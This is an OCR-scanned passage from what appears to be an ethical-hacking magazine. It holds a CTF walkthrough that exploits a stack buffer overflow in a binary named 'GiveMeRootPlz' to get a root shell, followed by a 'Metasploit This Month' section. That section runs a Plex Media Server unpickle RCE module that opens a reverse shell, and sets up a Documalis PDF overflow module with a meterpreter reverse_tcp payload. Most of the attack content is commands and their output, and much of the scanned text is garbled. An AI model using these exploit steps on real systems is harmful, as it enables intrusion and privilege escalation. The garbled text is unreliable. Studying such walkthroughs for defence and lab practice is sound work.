e can do this by feeding it a large input. | decide to feed it 500 characters of alphabets "H" a-
nd "C". That makes it 1000 characters. We can do this by using python as shown below.

fox@FoxHole:~$ python3 -c¢ ‘print("HC"=500)°
HCHCHCHCHCHCHCHURUHOCHUCHURCHUHLCHUHCHUHOHCHUHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHOCHOHCHOCHOCHCHCHOCHOHOCHOCHOHOHOHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCGH
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHOCHCHOHCHCHCHOCHCHCHOHOHCHOHOHOCHOHOHOHOCHOHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC

foxdFoxMole:-$ I




z program, | gett

._.11 ,'l-'ll'r' Rl'll | r] F

want the root password’HCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHOCHOHOHOCHOHOHOHOHOHOHOHOHOHOHOHOHCH
CHOCHOCHOHCHOHOCHOHOHOHOHOCHOHOHOCHOHCHOHOCHOHOHOHOCHCHOHOCHOCHOCHCHOHOCHOHOCHOCHOHOCHOHOHOHOHOCHOCHOCHOCHOCHOHOHO
HCHCHOCHOCHOCHCHOHCHOHOHOCHCHCHOCHOCHOCHOCHCHOHCHOHCHOHOCHOHOHCHCHOHCHCHCHCHOHCHOCHCHOCHCHCHOCHOHOCHOHOHOHOH
CHCHCHOCHOCHOCHCHOHCHOHOHOHOHOCHOHOHCHOHOHOHCHCHOHCHOHCHOHCHCHOHOCHOHOHCHCHCHOHOHOHOHOHCHOHOHOCHOHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHCHCHCCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHOCHCHOCHCHCHCHOCHOHOHOHOHCHOCHOHOCHOCHOHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCOHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHOCHCHCHOCHOCHCHCHOHCHCHCHOCHOCHOHCHCHCOHCHCHCH
CHCHCHOCHOCHOCHCHOCHCHCHOHOHOHOHOHOCHOCHOCHOHOHOHOHOHOHOHOHOHOHOCHOHOHOHOHOHOHOHOCHOHOHOHOHOHOHOHOHOHO H
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHOHOHCHC

Segmentation fault has occurred and the core has been dumped. This means there is a chan
ce of buffer overflow (We have covered about buffer overflow in our April 2020 and May 202
) Issues). To test this vulnerability further, we need a debugger. On enumerating the target

machine, | saw that not only GNU debugger but also peda. Peda is a plugin that enhances th
e functions of GNU debugger.

FoxMole:
| Ubunt
Copyright (C) 2020 Free
License GPLv3+: GNU GPL ver:
T":],'-. 1S *‘I'I-J'I-' ',Hi‘-"lh{IHL Vvou
There 1s NO WARRANTY, to the
T'.,;Ir'- “'-."-I-.'-. COpy 1‘I 111+ I

T - slals —— - . -
ini1s l]_JF'. was conrigureq as

. i

w
show configuration® for

ror JUg eport ‘:; 1;-511_‘.;"_1_1”_:.
software/g

_-t ‘.“1 l.! 0 ‘. near

( GNU Debugger has been discussed in our MARCH 2020 Issue and PEDA has been discus
sed in MAY 2020 Issue). Let's run the .GiveMeRootPIz program in GDB and feed it the sam-
e pattern we provided as input before.

slveMeRoot

Do you want the root password?HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC He
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHOHCHOHCHOHOHOHCHCHOHCHOHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOHCHEHCHEHCHOHLHCHCHOHOH
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHOCHCHOCHOCHCHOCHCHOHCHOHCHOCHCHOCHCHOCHCHCHCHCHCHCHOCHCHOCHCHCHCHCHOCHOHCHOHCHOHOCHOCHOCHOCHOCHOHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHOCHCHOCHCHOCHCHCHCOHCH
CHOCHOCHCHOCHOHCHOCHOCHOCHOCHCHOCHOCHOCHOCHOHOHOCHOHOCHOCHOCHOHOCHOCHOCHOCHOCHOHOHCHOHCHOHOCHOCHOCHCOCHOHCHOHOHOHOHOHO RO
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHCHCHC HY

~_|T|_'|""'_#rt_l.-l ¥ 1.‘-If‘11_'. 'Irlt -+T I' J

he program executes and this time GDB gives us information about the memory registers.




U=
Ox43484348 ( "HC
OxffFeeess
Oxftetreret
» Ox]lebabc
¥ Ox]lebdbc
( "HCHC " )
| ( "HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHOCHCHCHCHCHCHCHOCHOHOHCHCHOCHEHCHIOHCHCHCHCHOHOCHCHOCHOHECHOCHOCHOHOHCHCOCHIOHIOHOCHCHCHEHOCHC HOHe
MCHCHCHCHCHCHCHCHCHCHCHCHCHC® ... )
Ox43484348 ( HCHC' )

O=10282 |

ﬂnﬂﬂi { "MCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOHOHC
HCHCHCHCHOCHCHCHCHOCHCHOCHOCHOHCHOCHCHOCHOHCHCHOCHOCHOCHCHOHCHCHOCHOHCHOCHCHCHCHCHCHOCHCHCHOHCHCHCHOCHOCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHCT Z

Vo004 | { "HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC

0012 | { "HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHOCHOHOCHOCHOCHOCHCHCHT
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
"HCHCHCHCHCHCHCHCHCHCHCHCHCHC® ...

0016 ( " HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHC He
HCHCHCHCHOCHOCHOCHOCHCHOHCHOCHOCHCHOCHCHOCHCHOHOCHOHOHOHOHOHOHOCHOCHOHOHOCHOCHOHOHOHOHOHOHCHOHOCHOHOHOHOHOHOH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHC ™ ...

0020 { HCHCHCHCHCHCHOCHCHOCHCHOCHOHCHCHCHCHOCHOCHCHOCHCHOHCHOHCHCHCHOCHOHCHOHOHCHOCHCHCHOHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHOCHCHCHCHCHCHCHCHCHCHCOHCHCGH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHC ™ ... )

0024 | { "HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC
HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHC® ... )

0028 ( "HCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHCHC
HOCHCHOCHOHOCHOHOHOCHOHOHOHOHOCHOHOHOHOHCHOHOHOHCHOHOHOCHOHCHOHOHOCHOCHOHOHCHOHCHOHOHCHOHOCHOHOHOHOHOHOH
CHCHCHCHCHCHCHCHCHCHCHCHCHCHC ™ ...

|_+.I'i;_'.'”r'1: '..-‘i‘l'jt"
v ]
'} T :-. L‘l .,.I ‘.. *. I.. i_-' ‘-1 l". ‘sl I.
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hen the program gets executed and eventually crashes, GDB catches the crash. It also sp-
lecifies that the crash occurred due to a memory address 0x43484348. As we already know,
this Is a segmentation fault. A segmentation fault occurs when a program tries to access a m
-emory location that is not assigned to it. Normally, memory addresses are given in hexadeci
-mal format. 43 and 48 are in hexadecimal form. If we see in the table given below, these h-
xadecimals stand for characters "C" and "H" respectively.

Dec Hex O0Oct Char | Dec Hex O0Oct Char | Dec Hex O0Oct
32 20 40 [space] | 64 40 10C @ 96 60 140

-
Qv
i

33 21 4] ! 65 4] 101 A 97 61 141
34 22 42 e 66 4. 102 98 62 142
35 23 43 # 67 | 43 103 C ]| 99 63 143
36 24 44 $ 68 44 104 B 100 64 144
37 25 45 % 69 45 105 e 101 b5 145
38 26 46 & 70 46 106 F 102 66 146
39 217 47 : 71 0/ 103 67 47
40 28 50 ( /2 48 110 H 104 b8 150
41 29 51 ) 73 49 TN 105 69 51
42 2A 22 v /4 a4A 112 | 106 bA 152
43 2B 53 + 75 4B 113 K 107 6B 153
44 20 54 : 76 4C 114 L 108 6 154

o " anoo

—_—

T -

F .




at stands for characters "CHCH" which caused the crash. But the problem is we don't kno-
exactly which of these "CH" characters we inserted caused the crash. This problem too is
olved by PEDA for us. PEDA has a pattern create command that creates a cyclic pattern of
random characters. | use to create 1000 random characters, save it in a file named "pattern”
nd feed to the program GiveMeRootPIz.

pattern create 1000 pattern

Writing pdtiern or 1000 Chare 1o rIi(ename” "pattern
r < pattern

Starting ProgramT /NomMe/fox/GiveMeRootPlz < pattern

DO vou want the root password?
You didn't convince me!

a & ‘.‘_,: v O il n_.. Son L '_1r1||_'|,jl‘f_1 l:l" ‘- \/ ou t*- '
Program received

OxQ
Ox414d7341 ( ASMA ' )
Ox<fffrffee
Oxttrrrteet
—3 Ox1e6db6i
y Oxlebabe
Ox73416973 ( si1As )

. ( "ASJAS9ASOASKASPAS LASQASMASRASOASSASPASTASQASUASTASVASTASWASUASXASVASYASwWASZAS
xAsyAs ZABXABsSABBABSABNABCAB-AB(ABDAB ; AB ))ABEABaABOABFABbDAB1ABGABCAB2ABHABJAB3ABIABeAB4LABIABFABSA
BKABgAB6ABLABhAB7ABMAB1ABSBAB™ ... )

Ox<Le734138 ( "8AsN
Ux1lul8l |

L""I.‘UL.}I \ “ﬂfi ]#1'_-..'*;’1'_.[_"13,'_-.l_l&‘_,;'.ﬂ".]_A','JA‘_-."‘-A'_.i‘;:ﬂ",l_b&‘_,'jl.&‘_;.i_hh'_aT.nj.',q:i.‘al_l:#‘_.I'&"__,".'Af:':I.‘Jﬁ:-h".-_j;i',l;",'. A'_;I"I-.I:i'_gﬂ-l:i'_m;f;i
sxXAsyAsZABXABSABBABSABNABCAB-AB(ABDAB;:; AB JABEABaABOABFABDABI1ABGABCAB2ABHABJAB3ABIABeAB4LABIABTABS
ABKABZAB6ABLABhAB7ABMAB1ABSAB" .

Now, we can use the pattern offset command in PEDA to see exactly after how many charac
ters the program crashes.

0020 ( "QAsmAsSRAsS0OAsSSAsSpAsTAsgAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAsZABXABsABBABS
Aﬁwhﬁ{hﬁ—hﬁ'ﬂﬁﬁﬁi;hﬁth?FhHﬁhHﬁAB?ﬂHhA%lnBGﬁthﬁfﬂHPAHHAHihﬁlﬂﬁﬁhﬁaﬂﬁTAH%ﬂHﬁAEhAB;ﬁFLhE,nH"ﬁBTAﬁ
MAB1ABBABNABI1AB9ABOABKABPABILAC '

0024 ( "AsRAsSOAsSSAsSpAsSTAsSqgASUASrAsVAsStAsWAsSuAsXAsvVASYAswAsSZAsxAsyAsZABRXABSABBABSABNA
BCAB-AB( ABDAB;AB J)ABEABaABOABFABbDAB1ABGABcAB2ABHABJAB3ABIABeAB4ABIABTABSABKABgZABGABLABhAB7ABMAB)
ABBABNAB JAB9ABOABKABPABLABQAB" ...

0028 ( "SsoAsSAspAsTAsgAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszZABXABsSABBABSABnABCAB
AB( ABDAB:AB JABEABaABOABFABLOABI1ABGABCAB2ABHABOAB3ABIABePABLABIABTABSABKABEZABSABLABhAB7ABMABLIABSBA
BNAB JAB9ABOABKABPABLABQABmMABR" ... )

value

setl O=x4e/3

at ottset: 516

Now, | will use python to generate exactly 516 characters of alphabet "H" and then four "c"s.
and feed it to a file name "crash1”.

fox@FoxHole:-$ pythonid -« ‘print( "H" =516 + L O ) '
alalalalaislalslslalalslalalalalalalalalalalalalalalalalalalalalalalalalaislalalalalalalalalalalalalalalalalalalalalalalalalalslalalalalalalalalalalalalslalalslalalalalalalalalalalslslalals
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
alalalalalalalalalalalalalalalalalalalalalalalalalalslalalalalalalalalalalslalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalslalalalalalslalalalslalalalalalalsls!
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
alalalalaislalalslalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalaialalalslalalals
alalalalalslalslsialalalalslalalslalalalalalalalalalalalalalalalalalalalalalalals Gi@a

fox@FoxHole:~$ python3 -c 'print("H"#516 + "CCCC")' > crashil

Trl'i.*. .:LJ-_UI.JII‘: E‘- .




once again run the

r L
Starting Program:T /nome/tox/GiveMeRootPlz < crashl

Do you want the root password?
You didn t convince me!

1] Mo i Cl 1d r1TeEe mo véerv alal Foacint v L | 14 T1VvVe
..I...L,l Vvou nou L wWr il [ . a t,,uf'-, l.]rlL# reason wny I nouLwLo '*_p*"
Program received signal SIGSEGVYV, Segmentation fault.

c D=0
: Ox4B4B4848 ( "HHHH'
* Oxffeffeset
: OxtfrrreeTd
» Dxlebdbe
—>
: Ox4BLB4B4AB ( "HHHH' )

—-

3 ("CCCC’
(

Q000 » Ox1eb6dbe

0004 —3 Ox]1ebdoic

0008

0012 (< Llibc start main+245>: add esp,0x10)
0016

0020 (“/home/fox/GiveMeRootPlz")

0024 - e ( "SHELL=/bin/bash” )

‘J;J ‘3' =

Legend: .

Stonnen _reasnn:

he program crashed once again and if you notice, the memory address changed to 0x4343-
4343 which is the hexadecimal equivalent of character "C". Very good. | can totally control ex
ecution now. The next step now is to try to elevate privileges using this. The strings comman
d has shown that there is /bin/bash command somewhere. We have also seen that this prog
ram "GiveMeRootPIz" is running with root privileges. So if | can somehow execute /bin/bash
ommand from this GiveMeRootPIz script, | can get a root shell. The only problem is where e
xactly is this /bin/bash. PEDA has a solution for this too. The info functions command can gi-
e the names of all the functions in this script.

1inTto
info funct™ OGRS
All defined ¢

r'.:_'l'l-f1+_':14.'!_;'!;l"'t; SYMDOLS




| decided to check the code of the "secret” function. This can be done using the disas comm-
nd as shown below.

dl1sas secret
Dump of assembler code 1t

<+0>:

LS

45> 10V *—"UD-

<+ /7> push @D X

<+8>; esp,ox]

<+11> _ .

<+16>: add ebx,0x]

H+l2>.

27>, v DWORD PTR |

C+ 30> Sub esp, oxd
UWORD
DWORD
DWORD

esp,ox10

DWORD PTR |
esp,Oxg

DWORD PTR [ebg
DWORD PTR [ el
DWORD PTR [el

esp,oOx10
esp, 0x¢
eax,lebx-0x1fb4 ]

EdX

esp,uox]e
ebx,DWORD PTR [ebp-0x4]

In the "secret" function, it can be seen that there is a call to "system" function. SO this may b
e the function we need. This function starts at memory address 0x565562ad. Since we kno-

the offset is 516 characters, adding 516 characters to the memory address 0x565562ad sh
ould allow me to access /bin/bash. This memory address should be added in the reverse or-
der as shown below.

Here, | add 516 characters of "H" to the above mentioned memory address and save it to the
ile crash3. | once again ran the GiveMeRootPIz script by feeding it the newly created file na
med crash3.




r crasns
Starting progETam. /nomeé/tox/GiveMeRootPlz < crash3

Do you want the root password?
‘TIU'- 'tl'?'llt LL"“?]-."!L*: p-,‘.l
Maybe you should write me a =very long+* reason wh give you the password

Program

0=0
Ox4B4B4848
O<ffffeffs
OxfFffffeff
—3 Ox]lebdbc
—% Ox1ebdbc
O=4LB4B4B4LEB ( HHHH )

. —3 OxC/410C0e

Ox5562adcl

[ 107
l..‘ N A'L!-.. ‘T'r-._

0000 | —3 OxCc7410c0e

0004 . » Oxlebdbu

0008 |

0o1.2 | <_ libc_start_main+245>: idd esp,ox10)
o016

0020 | . (" /home/fox/GiveMeRootPlz")

0024 | ( "SHELL=/bin/bash” )

0028 |

Legend: "
atlopped reason.
in
-
I

But the program crashed once again. This time the crash occurred at a different memory add
ress. After checking and rechecking, | decided to tinker with the input. | added only 515 char
acters of "H" to the address and ran the program again.

home/fox/GiveMeRootPl 2z

want the root password?
You didn' t convince me!
Maybe you should write me a »«very long+» reason why I should
LAttaching after process 1475 vfork to child process 1476
[New inferior 2 (process 1476)]

[Detaching vfork parent process 1475 after child exec]
[ Inferior 1 (process 1475) detached]

process 1476 1s executing new program: /usr/bin/dash
:A‘_tlls_‘u-’au after process 14/6 fork to child process 14 :
[New inferior 3 (process 1477)]
[Detaching after fork from parent process
| Inferior 2 (process 1476) detached |
iting new program: /Jusr/bin/bash
7) exited normally]

his time the program did not crash and the good thing is, it called bash. It's time to understa
nd what's happening exactly in detail. For this, | disassemble the code of the "overflow" func
tion where the vulnerability exists.




disas overflow
Dump of aSSEMDOLEY COO® fToOor function
40> endbr3.
4> usl ebp
$5>. ebp,esp
7> eh

L] Y iEN J
'dr“'b-][‘.-.;b""

CF
push
o 18
add
Sub
lea

pDusn

call
add esp,ox10
DWORD PTR [ebp-0>
Sub esp,0xc
lea eax,[ebx-0x1f88]
pusn edx
:'.i‘.I
add esp,0x10
sub esp,0xc
3 eax, [ebx-0x1f6¢c]

pusn EdX

esp,0x10
eax,ov=g
ebx,DWORD PTR |[ebp-0x4)

For better understanding, | create a breakpint at the ret command.

break *0x5655637f
Breakpoint 1 at

his break point stops the execution at the ret command. This will allow us to understand wh
ats happening when ret command is executed.

DI

starting pro n: /home/tox/GiveMeRootPlz2 crashi

:_,“j '.,":J “'Jr"": thf‘ r:u“:": DL 55'-':':-41 ¥
You didn t convince me

Maybe you should write me a #very long+ reason why I should give you the password

Oxg

Ox4BLBL4BLB ( "HHHNT

Oxttttreertt
—3 Ox1lebdbc
— Bxl1ebabC
OxCl&4B4848
» L<secret>.
(<overtlow+109>: ret)
O=286 | PARITY SIGN
Ox56556376 <overflow+100>: DV eax,0x0
overflow+105>: mov ebx,DWORD PTR [ebp-0x4)
overflow+108>:

() = i'ltli_g"l } 7 3 o 1_’]','1‘_"‘]";1 O'w 4 1“‘!:*:

Ox56556380 <main>: endbri.

Ox506556384 <mal1in+4>: push




unction.

QOO

oovy

0008

0012

0016 : ( L1DC _start main > add esp,0x10)
0020

0024 . (" /home/tox/GiveMeRootPlz" )

0028 -3 ( "SHELL=/bin/bash”

glsas secret
Dump of assembler code for function secret:
<+0>: endbri?
CH4L5!
ebp,esp
ebx

esp,0x14
ebx,0x2ctt

DWORD PTR |
esp,0x4

DWORD PTR |
DWORD PTR |
DWORD PTR |

esp,ox1@

DWORD PTR |
esp,ox4

DWORD PTR |
DWORD PTR |ebp-
DWORD PTR |

ebx,DWORD PTR [ebp-0x4]

he highlighted instruction is of utmost importance to us. lea stands for "load effective addres
s". ebx here Is the source operand whereas eax is the destination operand. This instruction
akes whatever data is at the address specified by the source operand and loads it into the d
estination operands. So what we have to do now is feed the input in crash3 to the program
'‘GiveMeRootPIz" to get the shell on the target.

$ cat ci

the root password?
You didn't convince me
Maybe you should write me a =very long+« reason why I should give you the password

aefdmentation

rault
fox@FoxMole:~$ I

(core dumped )




e program once again crashed without giving us any shell. But why? It seems when cat ra
n, bash closed STDIN (standard input). STDIN is used to provide input. The | symbol stands

or piping in which we redirect one input into another. Here we are redirecting the output of c-
at command to the GiveMeRootPIz script.

The above problem occurred because as soon as we ran cat command, the terminal
losed and stopped taking any more input. Hence the program crashed. What is the solution

now?. Simple, we force the standard input to stay open by running cat command without an-
input.

foxalFoxMole:
hche
NCNC
crasns
rast

A {_-

Hitting CTRL+C will get us out of the terminal by keeping STDIN open. Then doing as shown
below will give us a root shell.
foxalFoxMole:~% 1d

11d=1000( fox) 21d=1000( fox groups=1000( fox),4(adm),24(cdrom),27( sudo 30(dip),46(plugdev)
Lpadmin), (Uxd) 1320 cambashare ]

1:~%1 (cat crash3; cat) ./GiveMeRootPlz

DO you want the root passwora?

You didn t convince me!

Maybe you should write me a =very luﬂgt reason why I should gilve you the password
1d

uid=0(root) g1d=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(1p
admin),131(1ixd),132(sambashare)

python3 -c "import pty;pty.spawn(”/bin/bash™)’

rootafoxHole: -8 1id

10

11d=0( root) §1ﬁ;1rnn-¥n1: ;rﬂ;n:-lunﬂlfﬂni,ulﬂd“'..q1'drﬁﬁ!,ﬂflﬂ.dﬂ%,{H1diﬂ:,ﬁwlﬂ1|gﬂéui.1£“ffﬂ
admin),131(1lxd),132(sambashare)
rootafFoxMole: -8 I

he only thing left to do is viewing the root flag.

rootafoxHole:~8# pwd

DwQ




ith this the challenge is completed. We will be back with another CTF challenge in our next
Issue.

il D - Link Wifi Manager RCE, Linux Container Enumeration Modules & more
METASPLOIT THIS MONTH
.

Welcome to the September 2020's Metasploit This Month feature. Let us see the latest exploi
-t modules of Metasploit.

Plex Media Server Windows RCE Module

TARGET: Plex Media Server < 1.19.3 TYPE: Remote ANTI-Malware : OFF

Plex Media Server is a client—-server media player application that runs on Windows, macOS,
land Linux. The above mentioned versions of Plex have an authenticated RCE vulnerability.
However this can only be exploited on Windows. In this attack, any authenticated attacker ca
-n create a photo library and add malicious files to it. After setting the Windows only Plex var
-lable LocalAppDataPath to the newly created photo library, a file named Dict will be unpic
-kled, which causes an RCE as the user who started Plex.

This was tested on Plex Media Server 1.18.5.2309 running on Windows 10. The down
-load information of the vulnerable software is given in our Github repository. The Plex server
needs to be claimed by an account as this module needs a Plex Token to work. Let's see ho-
w this module works. Load the plex_unpickle dict_rce module.

msf5 > use exploit/windows/http/plex unpickle dict rce

Using configured payload python/meterpreter/reverse_tcp

All your doubts, queries and questions related to ethical hacking and
penetration testing can be mailed to
editor@hackercoolmagazine.com
or you can get to us at our Facebook Page
Hackercool Magazine
or
tweet us at @hackercoolmagz




msfS exploit( ) > show options
Module options (exploit/windows/http/plex_unpickle_dict_rce):

Name Current Setting Required Description

ALBUM_NAME Name of Album

LIBRARY _PATH C:\Users\Public Path to write picture library to

PLEX TOKEN Admin Authenticated X-Plex-Token

Proxies A proxy chain of format type:host:port|,t
ype:host:port][...]

REBOOT_SLEEP 15 Time to walt for Plex to restart

RHOSTS The target host(s), range CIDR identifier
, or hosts file with syntax 'file:

RPORT 32400 The target port (TCP)

SSL false Negotiate SSL/TLS for outgoing connection

Plex access token can be obtained from the target machine using a debugger as shown bel-

A Pies Meds Server update 5 avadabie for the server DESKTOR
A tome
[ > ] Wb Shows

MNews

Your home screen is
empty

H this is unexpected, see our

if you
removed everything and want o all

back, choosng Reset Customuzation
below will reset your udebar nawngation
and home screen layout to the default
state

Set all the required options and check if the target is vulnerable or not.

nsf5 exploit( rhosts 192.168.36.129
rhosts => 192.168.36.129

nsfS exploit( album name abcl123
album _name => abcl23

nsfS exploit( lhost 192.168.36.158
Lhost => 192.168.36.158

nsf5 exploit( plex_token key,value
plex_token => key,value

nsf5 exploit( plex_token mfLcTHVbwVph3btSVs
5S

plex_token => mfLcTHVDWVph3btSVsss

nsf5 exploit(




msfS exploit(

Gathering Plex Config

server Name: DESKTOP-U061SVS
[+] Server 0S: Windows (10.0 (Build 17134))
|+] Server Version: 1.18.5.2309-f5213a238

[

(+] Camera Upload: 1
1

(+] 192.168.36.129:32400 - The target is vulnerable.
msfS exploit( ) > |

he target is vulnerable. Execute the module now.
msf5 exploit( ) > run

Started reverse TCP handler on 192.168.36.158:4444
Gathering Plex Config
Server Name: DESKTOP-UO61SVS
+] Server 0S: Windows (10.0 (Build 17134))
| Server Version: 1.18.5.2309-f5213a238
' +] Camera Upload: 1
Using album name: abc123
Adding new photo library
|+] Created Photo Library: 1
Adding pickled Dict to library
Changing AppPath
Restarting Plex
Sleeping 15 seconds for server restart
Cleanup Phase: Reverting changes from exploitation
Changing AppPath
Restarting Plex
Command shell session 1 opened (192.168.36.158:4444 -> 192,168.36.129:50885) at
020-09-26 13:15:28 -0400
Deleting Photo Library

his should give us a command shell on the target system as shown in the above image.
Documalis Free Editor and Scanner For Windows BOF Module

TARGET: Documalis Free Editor v 5.7.2.26 & Free PDF Scanner v 5.7.2.122
TYPE: Local ANTI-Malware : OFF

Documalis Free PDF editor is a PDF editor that is used in manipulation of PDF files while Do
cumalis Free PDF scanner is a software used for scanning PDF files. The above mentioned
ersions of the software do not securely validate the contents of the JPEG images in the PD-

F files. This vulnerability can be used to trigger a buffer overflow on stack and execute remot
e code on the target.

We tested this on Documalis Free PDF Editor 5.7.2.9 first running on Windows 10 targ
et. The download information of the vulnerable software is given in our Github repository.

# Name Disclosure Date Rank
Check Description

exploit/windows/fileformat/documalis pdf_editor_and_scanner 2020-05-22
Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow




et's see how this module works. editor and scanner module.

msfé > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfé exploit(windows/fileformat/documalis pdf_editor_and_scanner) > show options

Module options (exploit/windows/fileformat/documalis pdf_editor_and_scanner):

Name Current Setting Required Description

FILENAME The file name.

PDF :: Encoder ASCIIHEX Select encoder for JavaScript Stream, val

values are ASCII8S, FLATE, and ASCIIHEX

PDF :: Method DOCUMENT yes Select PAGE, DOCUMENT, or ANNOTATION

PDF::MultiFilter 1 yes Stack multiple encodings n times

PDF :: Obfuscate true yes wWhether or not we should obfuscate the ou
tput

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

- —

EXITFUNC process Exit technique (Accepted: , Seh, thread, proces
none)

LHOST 192.168.36.132 The listen address (an interface may be specified
LPORT Lah4 yes The listen port

++DisablePayloadHandler: True (no handler will be created!)s*

Exploit target:

Set all the required options and execute the module to create the malicious payload.
